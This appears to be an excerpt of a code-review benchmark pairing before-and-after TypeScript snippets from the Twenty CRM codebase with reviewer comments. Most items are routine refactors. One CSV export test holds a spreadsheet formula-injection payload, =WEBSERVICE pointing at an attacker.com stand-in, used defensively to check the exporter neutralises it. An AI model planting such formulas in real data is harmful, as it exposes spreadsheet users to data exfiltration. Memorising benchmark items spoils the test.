ronantakizawa/codereview-bench huggingface dataset:
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/object-record/record-field/ui/meta-types/display/components/EmailsFieldDisplay.tsx (TypeScript)

Code before:
  type FieldMetadataMultiItemSettings,
} from 'twenty-shared/types';
import { useCopyToClipboard } from '~/hooks/useCopyToClipboard';

export const EmailsFieldDisplay = () => {
  const { fieldValue, fieldDefinition } = useEmailsFieldDisplay();
  const { copyToClipboard } = useCopyToClipboard();
  const { t } = useLingui();

  const settings = fieldDefinition.metadata
    .settings as FieldMetadataMultiItemSettings | null;
  const clickAction = settings?.clickAction ?? FieldClickAction.OPEN_LINK;

  const handleEmailClick = (
    email: string,
    event: React.MouseEvent<HTMLElement>,
  ) => {
    event.preventDefault();
    copyToClipboard(email, t`Email copied to clipboard`);
  };

  return (
    <EmailsDisplay
      value={fieldValue}
      onEmailClick={
        clickAction === FieldClickAction.COPY ? handleEmailClick : undefined
      }
      clickAction={clickAction}
    />
  );
};


Review comment (suggestion):
Add the condition in `handleEmailClick` 

```
  const handleEmailClick = (
    email: string,
    event: React.MouseEvent<HTMLElement>,
  ) => {
    if (clickAction === FieldClickAction.COPY) {
      event.preventDefault();
      copyToClipboard(email, t`Email copied to clipboard`);
    }
  };
```

Code after:
import { useEmailsFieldDisplay } from '@/object-record/record-field/ui/meta-types/hooks/useEmailsFieldDisplay';
import { EmailsDisplay } from '@/ui/field/display/components/EmailsDisplay';
import { useLingui } from '@lingui/react/macro';
import React from 'react';
import { FieldMetadataSettingsOnClickAction } from 'twenty-shared/types';
import { useCopyToClipboard } from '~/hooks/useCopyToClipboard';

export const EmailsFieldDisplay = () => {
  const { fieldValue, fieldDefinition } = useEmailsFieldDisplay();
  const { copyToClipboard } = useCopyToClipboard();
  const { t } = useLingui();

  const onClickAction = fieldDefinition.metadata.settings?.clickAction;

  const handleEmailClick = (
    email: string,
    event: React.MouseEvent<HTMLElement>,
  ) => {
    if (onClickAction === FieldMetadataSettingsOnClickAction.COPY) {
      event.preventDefault();
      copyToClipboard(email, t`Email copied to clipboard`);
    }
  };

  return <EmailsDisplay value={fieldValue} onEmailClick={handleEmailClick} />;
};
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/activities/utils/getActivityPreview.ts (TypeScript)

Code before:
}

export interface TextNode extends BaseNode {
  type: 'text';
  text: string;
}

export interface LinkNode extends BaseNode {
  type: 'link';
  href?: string;
  content?: RichTextNode[];
}

export type RichTextNode = TextNode | LinkNode | BaseNode;

export const getActivityPreview = (activityBody: string | null): string => {
  const noteBody: RichTextNode[] = activityBody
    ? JSON.parse(activityBody)
    : [];

  const extractText = (node: RichTextNode | undefined | null): string => {
    if (!node) return '';

    switch (node.type) {
      case 'text':
        return (node as TextNode).text ?? '';

      case 'link': {
        const linkNode = node as LinkNode;
        const innerText = (linkNode.content ?? [])
          .map(child => extractText(child))
          .join('');
        const href = linkNode.href ?? '';
        return href ? `${innerText} (${href})` : innerText;
      }

      default:
        if (Array.isArray(node.content)) {
          return node.content.map(extractText).join(' ');
        }
        return '';
    }
  };

  return noteBody.length
    ? noteBody
        .map(node => extractText(node))
        .filter(Boolean)
        .join('\n')
    : '';
};

Review comment (suggestion):
nit : I prefer using type guard to avoid casting - not  very useful here but good habit to take

Code after:
  type: string;
  content?: RichTextNode[];
  [key: string]: unknown;
}

interface TextNode extends BaseNode {
  type: 'text';
  text: string;
}

interface LinkNode extends BaseNode {
  type: 'link';
  href?: string;
  content?: RichTextNode[];
}

type RichTextNode = TextNode | LinkNode | BaseNode;

const isTextNode = (node: RichTextNode): node is TextNode =>
  node.type === 'text';

const isLinkNode = (node: RichTextNode): node is LinkNode =>
  node.type === 'link';

export const getActivityPreview = (activityBody: string | null): string => {
  const noteBody: RichTextNode[] = activityBody ? JSON.parse(activityBody) : [];

  const extractText = (node: RichTextNode | undefined | null): string => {
    if (!node) return '';

    if (isTextNode(node)) {
      return node.text ?? '';
    }

    if (isLinkNode(node)) {
      return node.content?.map(extractText).join(' ') ?? '';
    }

    if (isArray(node.content)) {
      return node.content.map(extractText).join(' ');
    }

    return '';
  };

  return noteBody.length
    ? noteBody
        .map((node) => extractText(node))
        .filter(isNonEmptyString)
        .join('\n')
    : '';
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/page-layout/widgets/components/WidgetContentRenderer.tsx (TypeScript)

Code before:
};

export const WidgetContentRenderer = ({
  widget,
}: WidgetContentRendererProps) => {
  switch (widget.type) {
    case WidgetType.GRAPH:
      return <GraphWidgetRenderer widget={widget} />;

    case WidgetType.IFRAME:
      return <IframeWidget widget={widget} />;

    case WidgetType.FIELDS:
      return <FieldsWidget widget={widget} />;

    case WidgetType.TIMELINE:
      return <TimelineWidget widget={widget} />;

    case WidgetType.TASKS:
      return <TaskWidget widget={widget} />;

    case WidgetType.NOTES:
      return <NoteWidget widget={widget} />;

    case WidgetType.FIELD_RICH_TEXT:
      return <RichTextWidget widget={widget} />;

    case WidgetType.FILES:
      return <FileWidget widget={widget} />;

    case WidgetType.EMAILS:
      return <EmailWidget widget={widget} />;

    case WidgetType.CALENDAR:
      return <CalendarWidget widget={widget} />;

    case WidgetType.WORKFLOW:
      return <WorkflowWidget />;

    case WidgetType.WORKFLOW_VERSION:
      return <WorkflowVersionWidget />;

    case WidgetType.WORKFLOW_RUN:
      return <WorkflowRunWidget />;

    default:
      return null;
  }
};


Review comment (suggestion):
Let’s rename `RichTextWidget` to `FieldRichTextWidget`. I realized I misread a part of your PR earlier.

Code after:
};

export const WidgetContentRenderer = ({
  widget,
}: WidgetContentRendererProps) => {
  switch (widget.type) {
    case WidgetType.GRAPH:
      return <GraphWidgetRenderer widget={widget} />;

    case WidgetType.IFRAME:
      return <IframeWidget widget={widget} />;

    case WidgetType.FIELDS:
      return <FieldsWidget widget={widget} />;

    case WidgetType.TIMELINE:
      return <TimelineWidget widget={widget} />;

    case WidgetType.TASKS:
      return <TaskWidget widget={widget} />;

    case WidgetType.NOTES:
      return <NoteWidget widget={widget} />;

    case WidgetType.FIELD_RICH_TEXT:
      return <FieldRichTextWidget widget={widget} />;

    case WidgetType.FILES:
      return <FileWidget widget={widget} />;

    case WidgetType.EMAILS:
      return <EmailWidget widget={widget} />;

    case WidgetType.CALENDAR:
      return <CalendarWidget widget={widget} />;

    case WidgetType.WORKFLOW:
      return <WorkflowWidget />;

    case WidgetType.WORKFLOW_VERSION:
      return <WorkflowVersionWidget />;

    case WidgetType.WORKFLOW_RUN:
      return <WorkflowRunWidget />;

    default:
      return null;
  }
};
Repository: twentyhq/twenty
File: packages/twenty-shared/src/utils/url/lowercaseUrlOriginAndRemoveTrailingSlash.ts (TypeScript)

Code before:
import { getURLSafely } from '@/utils/getURLSafely';
import { isDefined } from '@/utils/validation';

export const lowercaseUrlOriginAndRemoveTrailingSlash = (rawUrl: string) => {
  const url = getURLSafely(rawUrl);

  if (!isDefined(url)) {
    return rawUrl;
  }

  const lowercaseOrigin = url.origin.toLowerCase();
  const path =
    decodeURIComponent(url.pathname) + decodeURIComponent(url.search) + url.hash;

  return (lowercaseOrigin + path).replace(/\/$/, '');
};


Review comment (bug):
The `decodeURIComponent()` calls can throw a `URIError` if the URL contains malformed percent-encoding sequences (e.g., `%E0%A4%A` - incomplete UTF-8 sequence). This should be wrapped in a try-catch block to prevent the application from crashing. Consider falling back to the original encoded values if decoding fails.

Example fix:
```typescript
const decodeSafely = (str: string) => {
  try {
    return decodeURIComponent(str);
  } catch {
    return str;
  }
};
const path = decodeSafely(url.pathname) + decodeSafely(url.search) + url.hash;
```

Code after:
import { getURLSafely } from '@/utils/getURLSafely';
import { isDefined } from '@/utils/validation';
import { safeDecodeURIComponent } from './safeDecodeURIComponent';

export const lowercaseUrlOriginAndRemoveTrailingSlash = (rawUrl: string) => {
  const url = getURLSafely(rawUrl);

  if (!isDefined(url)) {
    return rawUrl;
  }

  const lowercaseOrigin = url.origin.toLowerCase();
  const path =
    safeDecodeURIComponent(url.pathname) + safeDecodeURIComponent(url.search) + url.hash;

  return (lowercaseOrigin + path).replace(/\/$/, '');
};
Repository: twentyhq/twenty
File: packages/twenty-front/src/utils/format/formatTime.ts (TypeScript)

Code before:
import { isDefined } from 'twenty-shared/utils';

export const formatTime = (
  hour: string,
  minute: string,
  use24HourFormat: boolean,
  appendUTC = false,
): string => {
  if (!isDefined(hour) || !isDefined(minute)) {
    return '';
  }

  const hourNum = parseInt(hour, 10);
  const minuteNum = parseInt(minute, 10);

  if (isNaN(hourNum) || isNaN(minuteNum)) {
    return '';
  }

  let formattedTime = '';

  if (use24HourFormat) {
    formattedTime = `${hourNum.toString().padStart(2, '0')}:${minuteNum.toString().padStart(2, '0')}`;
  } else {
    const period = hourNum >= 12 ? 'PM' : 'AM';
    const displayHour =
      hourNum === 0 ? 12 : hourNum > 12 ? hourNum - 12 : hourNum;
    formattedTime = `${displayHour}:${minuteNum.toString().padStart(2, '0')} ${period}`;
  }

  return appendUTC ? `${formattedTime} UTC` : formattedTime;
};

Review comment (refactor):
Let's refactor the function to receive a single object parameter.

Like:

```ts
type FormatTypeParams = {
  hour: string,
  minute: string,
  use24HourFormat: boolean,
  appendUTC?: boolean,
}

export const formatTime = ({
  hour,
  minute,
  use24HourFormat,
  appendUTC = false,
}: {
  hour: string,
  minute: string,
  use24HourFormat: boolean,
  appendUTC?: boolean,
}
```

Code after:
import { isDefined } from 'twenty-shared/utils';

type FormatTimeParams = {
  hour: string;
  minute: string;
  use24HourFormat: boolean;
  appendUTC?: boolean;
};

export const formatTime = ({
  hour,
  minute,
  use24HourFormat,
  appendUTC = false,
}: FormatTimeParams): string => {
  if (!isDefined(hour) || !isDefined(minute)) {
    return '';
  }

  const hourNum = parseInt(hour, 10);
  const minuteNum = parseInt(minute, 10);

  if (isNaN(hourNum) || isNaN(minuteNum)) {
    return '';
  }

  let formattedTime = '';

  if (use24HourFormat) {
    formattedTime = `${hourNum.toString().padStart(2, '0')}:${minuteNum.toString().padStart(2, '0')}`;
  } else {
    const period = hourNum >= 12 ? 'PM' : 'AM';
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/ui/field/display/components/LinkDisplay.tsx (TypeScript)

Code before:
};

export const LinkDisplay = ({ value }: LinkDisplayProps) => {
  const url = value.url;

  if (!isNonEmptyString(url)) {
    return <></>;
  }

  const absoluteUrl = url
    ? url.startsWith('http')
      ? url
      : 'https://' + url
    : '';

  const displayedValue = isNonEmptyString(value.label)
    ? value.label
    : url?.replace(/^http[s]?:\/\/(?:[w]+\.)?/gm, '').replace(/^[w]+\./gm, '');

  const type = displayedValue.startsWith('linkedin.')
    ? LinkType.LinkedIn
    : displayedValue.startsWith('twitter.')
      ? LinkType.Twitter
      : displayedValue.startsWith('facebook.')
        ? LinkType.Facebook
        : LinkType.Url;

  if (
    type === LinkType.LinkedIn ||
    type === LinkType.Twitter ||
    type === LinkType.Facebook
  ) {
    return <SocialLink href={absoluteUrl} type={type} label={displayedValue} />;
  }

  return <RoundedLink href={absoluteUrl} label={displayedValue} />;
};


Review comment (suggestion):
not a blocker but some switch case statement would be better than tertiary conditions from readability standpoint. 


Code after:
  value: { url: string; label?: string | null };
};

export const LinkDisplay = ({ value }: LinkDisplayProps) => {
  const url = value.url;

  if (!isNonEmptyString(url)) {
    return <></>;
  }

  const absoluteUrl = url
    ? url.startsWith('http')
      ? url
      : 'https://' + url
    : '';

  const displayedValue = isNonEmptyString(value.label)
    ? value.label
    : url?.replace(/^http[s]?:\/\/(?:[w]+\.)?/gm, '').replace(/^[w]+\./gm, '');

  const type = checkUrlType(absoluteUrl);

  if (
    type === LinkType.LinkedIn ||
    type === LinkType.Twitter ||
    type === LinkType.Facebook
  ) {
    return <SocialLink href={absoluteUrl} type={type} label={displayedValue} />;
  }

  return <RoundedLink href={absoluteUrl} label={displayedValue} />;
};
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/ui/layout/modal/components/Modal.tsx (TypeScript)

Code before:

const modalAnimation = {
  hidden: { opacity: 0 },
  visible: { opacity: 1 },
  exit: { opacity: 0 },
};

export const Modal = ({
  modalId,
  children,
  size = 'medium',
  padding = 'medium',
  className,
  onEnter,
  isClosable = false,
  onClose,
  modalVariant = 'primary',
  dataGloballyPreventClickOutside = false,
  shouldCloseModalOnClickOutsideOrEscape = true,
  ignoreContainer = false,
}: ModalProps) => {
  const isMobile = useIsMobile();
  const modalRef = useRef<HTMLDivElement>(null);
  const { container } = useModalContainer();
  const effectiveContainer = ignoreContainer ? null : container;
  const isInContainer = effectiveContainer !== null;

  const theme = useTheme();

  const stopEventPropagation = (e: React.MouseEvent) => {
    e.stopPropagation();
  };

  const isModalOpened = useRecoilComponentValue(
    isModalOpenedComponentState,
    modalId,
  );

  const { closeModal } = useModal();

  const handleClose = () => {
    onClose?.();
    if (shouldCloseModalOnClickOutsideOrEscape) closeModal(modalId);
  };

  const modalContent = (
    <AnimatePresence mode="wait">
      {isModalOpened && (
        <ModalComponentInstanceContext.Provider
          value={{
            instanceId: modalId,

Review comment (suggestion):
```suggestion
  const isInContainer = isDefined(effectiveContainer);
```

Code after:
  );

const modalAnimation = {
  hidden: { opacity: 0 },
  visible: { opacity: 1 },
  exit: { opacity: 0 },
};

export const Modal = ({
  modalId,
  children,
  size = 'medium',
  padding = 'medium',
  className,
  onEnter,
  isClosable = false,
  onClose,
  modalVariant = 'primary',
  dataGloballyPreventClickOutside = false,
  shouldCloseModalOnClickOutsideOrEscape = true,
  ignoreContainer = false,
}: ModalProps) => {
  const isMobile = useIsMobile();
  const modalRef = useRef<HTMLDivElement>(null);
  const { container } = useModalContainer();
  const effectiveContainer = ignoreContainer ? null : container;
  const isInContainer = isDefined(effectiveContainer);

  const theme = useTheme();

  const stopEventPropagation = (e: React.MouseEvent) => {
    e.stopPropagation();
  };

  const isModalOpened = useRecoilComponentValue(
    isModalOpenedComponentState,
    modalId,
  );

  const { closeModal } = useModal();

  const handleClose = () => {
    onClose?.();
    if (shouldCloseModalOnClickOutsideOrEscape) closeModal(modalId);
  };

  const modalContent = (
    <AnimatePresence mode="wait">
      {isModalOpened && (
        <ModalComponentInstanceContext.Provider
          value={{
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/ui/layout/modal/components/Modal.tsx (TypeScript)

Code before:
                ref={modalRef}
                size={size}
                padding={padding}
                initial="hidden"
                animate="visible"
                exit="exit"
                layout
                modalVariant={modalVariant}
                variants={modalAnimation}
                transition={{ duration: theme.animation.duration.normal }}
                className={className}
                isMobile={isMobile}
                data-globally-prevent-click-outside={
                  dataGloballyPreventClickOutside
                }
              >
                {children}
              </StyledModalDiv>
            </StyledBackDrop>
          </ClickOutsideListenerContext.Provider>
        </ModalComponentInstanceContext.Provider>
      )}
    </AnimatePresence>
  );

  if (effectiveContainer !== null) {
    return createPortal(modalContent, effectiveContainer);
  }

  return modalContent;
};

Modal.Header = ModalHeader;
Modal.Content = ModalContent;
Modal.Footer = ModalFooter;
Modal.Backdrop = StyledBackDrop;


Review comment (suggestion):
```suggestion
  if (isDefined(effectiveContainer)) {
```

Code after:
              <StyledModalDiv
                ref={modalRef}
                size={size}
                padding={padding}
                initial="hidden"
                animate="visible"
                exit="exit"
                layout
                modalVariant={modalVariant}
                variants={modalAnimation}
                transition={{ duration: theme.animation.duration.normal }}
                className={className}
                isMobile={isMobile}
                data-globally-prevent-click-outside={
                  dataGloballyPreventClickOutside
                }
              >
                {children}
              </StyledModalDiv>
            </StyledBackDrop>
          </ClickOutsideListenerContext.Provider>
        </ModalComponentInstanceContext.Provider>
      )}
    </AnimatePresence>
  );

  if (isDefined(effectiveContainer)) {
    return createPortal(modalContent, effectiveContainer);
  }

  return modalContent;
};

Modal.Header = ModalHeader;
Modal.Content = ModalContent;
Modal.Footer = ModalFooter;
Modal.Backdrop = StyledBackDrop;
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/object-record/object-options-dropdown/hooks/__tests__/useExportProcessRecordsForCSV.test.ts (TypeScript)

Code before:
      },
    ];

    let processedRecords;

    act(() => {
      processedRecords = result.current.processRecordsForCSVExport(records);
    });

    expect(processedRecords).toEqual([
      {
        __typename: 'ObjectRecord',
        id: '1',
        tags: '["TAG1","TAG2"]',
        skills: '["skill1","skill2","skill3"]',
        name: 'Item 1',
      },
      {
        __typename: 'ObjectRecord',
        id: '2',
        tags: '["TAG3"]',
        skills: '["skill4"]',
        name: 'Item 2',
      },
    ]);
  });
});


Review comment (suggestion):
The test should include a case for empty arrays to ensure they are correctly serialized as `[]`. Consider adding a test record with empty `tags` and `skills` arrays (e.g., `tags: [], skills: []`) and verifying the output is `"[]"` for these fields.

Code after:
      },
    ];

    let processedRecords;

    act(() => {
      processedRecords = result.current.processRecordsForCSVExport(records);
    });

    expect(processedRecords).toEqual([
      {
        __typename: 'ObjectRecord',
        id: '1',
        tags: '["TAG1","TAG2"]',
        skills: '["skill1","skill2","skill3"]',
        name: 'Item 1',
      },
      {
        __typename: 'ObjectRecord',
        id: '2',
        tags: '["TAG3"]',
        skills: '["skill4"]',
        name: 'Item 2',
      },
    ]);
  });

  it('processes records with empty multi-select and array fields correctly', () => {
    const { result } = renderHook(() =>
      useExportProcessRecordsForCSV('someObject'),
    );

    const records = [
      {
        __typename: 'ObjectRecord',
        id: '1',
        tags: [],
        skills: [],
        name: 'Item 1',
      },
    ];

    let processedRecords;

    act(() => {
      processedRecords = result.current.processRecordsForCSVExport(records);
    });

    expect(processedRecords).toEqual([
      {
        __typename: 'ObjectRecord',
Repository: twentyhq/twenty
File: packages/twenty-front/src/modules/object-record/record-index/export/hooks/__tests__/useRecordIndexExportRecords.test.ts (TypeScript)

Code before:

      const rows = [
        {
          id: '1',
          name: 'Test User',
          formula: '=WEBSERVICE("http://attacker.com")',
        },
      ];

      const csv = generateCsv({ columns, rows });

      expect(csv).toContain(
        `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")`,
      );
      expect(csv).not.toContain(
        '1,Test User,=WEBSERVICE("http://attacker.com")',
      );
      expect(csv).toContain(
        `1,Test User,"${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")"`,
      );
    });

    it('prevents formula injection with plus sign using ZWJ prefix', () => {
      const columns: Pick<
        ColumnDefinition<FieldMetadata>,
        'size' | 'label' | 'type' | 'metadata'
      >[] = [
        {
          label: 'Calculation',
          size: 100,
          type: FieldMetadataType.TEXT,
          metadata: { fieldName: 'calculation' },
        },
      ];

      const rows = [
        {
          id: '1',
          calculation: '+1+1',
        },
      ];

      const csv = generateCsv({ columns, rows });

      expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`);
      expect(csv).not.toContain('1,+1+1');
    });

    it('prevents formula injection with minus sign using ZWJ prefix', () => {
      const columns: Pick<
        ColumnDefinition<FieldMetadata>,

Review comment (bug):
Consider adding a test case for empty multi-select and array fields to ensure they are correctly serialized as `[]` in the CSV output. This would verify the edge case behavior when fields have no values.

Code after:
        size: 150,
        type: FieldMetadataType.ARRAY,
        metadata: { fieldName: 'skills' },
      },
    ];

    const rows = [
      {
        id: '1',
        name: 'John Doe',
        tags: '[]',
        skills: '[]',
      },
    ];

    const csv = generateCsv({ columns, rows });

    expect(csv).toContain('[]');

    expect(csv).toContain('Id,Name,Tags,Skills');
    expect(csv).toContain('1,John Doe,[],[]');
  });

  describe('CSV Injection Prevention with ZWJ', () => {
    it('prevents formula injection with equals sign using ZWJ prefix', () => {
      const columns: Pick<
        ColumnDefinition<FieldMetadata>,
        'size' | 'label' | 'type' | 'metadata'
      >[] = [
        {
          label: 'Name',
          size: 100,
          type: FieldMetadataType.TEXT,
          metadata: { fieldName: 'name' },
        },
        {
          label: 'Formula',
          size: 100,
          type: FieldMetadataType.TEXT,
          metadata: { fieldName: 'formula' },
        },
      ];

      const rows = [
        {
          id: '1',
          name: 'Test User',
          formula: '=WEBSERVICE("http://attacker.com")',
        },
      ];